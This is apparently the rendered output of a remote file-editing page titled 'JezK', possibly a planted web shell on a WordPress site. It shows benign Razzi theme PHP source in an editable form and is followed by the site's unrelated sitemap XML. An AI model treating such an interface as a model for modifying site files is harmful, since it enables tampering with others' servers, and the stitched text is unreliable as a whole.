
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-razzi-mobile-page-header.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Topbar Mobile functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Razzi
 */

namespace Razzi\Mobile;
use Razzi\Helper;

class Page_Header {
	/**
	 * Instance
	 *
	 * @var $instance
	 */
	protected static $instance = null;

	/**
	 * Initiator
	 *
	 * @since 1.0.0
	 * @return object
	 */
	public static function instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Instantiate the object.
	 *
	 * @since 1.0.0
	 *
	 * @return void
	 */
	public function __construct() {
		add_filter( &#039;razzi_get_page_header_elements&#039;, array( $this, &#039;get_page_header_elements&#039; ) );
	}

	/**
	 * Page Header elements
	 *
	 * @since 1.0.0
	 *
	 * @return array
	 */
	public function get_page_header_elements($items) {
		if ( is_singular(&#039;post&#039;) ) {
			$items = intval( Helper::get_option( &#039;mobile_single_post_breadcrumb&#039; ) ) ? [ &#039;breadcrumb&#039; ] : $items;
		} elseif ( is_singular(&#039;product&#039;) ) {
			$items = intval( Helper::get_option( &#039;mobile_single_product_breadcrumb&#039; ) ) ? [ &#039;breadcrumb&#039; ] : $items;
		} elseif ( \Razzi\Helper::is_catalog() ) {
			if ( intval( Helper::get_option( &#039;mobile_catalog_page_header&#039; ) ) ) {
				$items = Helper::get_option( &#039;mobile_catalog_page_header_els&#039; );
			}

		} elseif ( is_page() ) {
			if ( intval( Helper::get_option( &#039;mobile_page_header&#039; ) ) ) {
				$items = Helper::get_option( &#039;mobile_page_header_els&#039; );
			}

			$items = $this-&gt;custom_items( $items );

		} elseif ( intval( Helper::get_option( &#039;mobile_blog_page_header&#039; ) ) ) {
			$items = Helper::get_option( &#039;mobile_blog_page_header_els&#039; );
		}

		return $items;
	}

	/**
	 * Custom page header
	 *
	 * @since 1.0.0
	 *
	 * @return array
	 */
	public function custom_items( $items ) {
		if ( empty( $items ) ) {
			return [];
		}

		$get_id = Helper::get_post_ID();

		if ( get_post_meta( $get_id, &#039;rz_hide_page_header&#039;, true ) ) {
			return [];
		}

		if ( get_post_meta( $get_id, &#039;rz_hide_breadcrumb&#039;, true ) ) {
			$key = array_search( &#039;breadcrumb&#039;, $items );
			if ( $key !== false ) {
				unset( $items[ $key ] );
			}
		}

		if ( get_post_meta( $get_id, &#039;rz_hide_title&#039;, true ) ) {
			$key = array_search( &#039;title&#039;, $items );
			if ( $key !== false ) {
				unset( $items[ $key ] );
			}
		}

		return $items;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
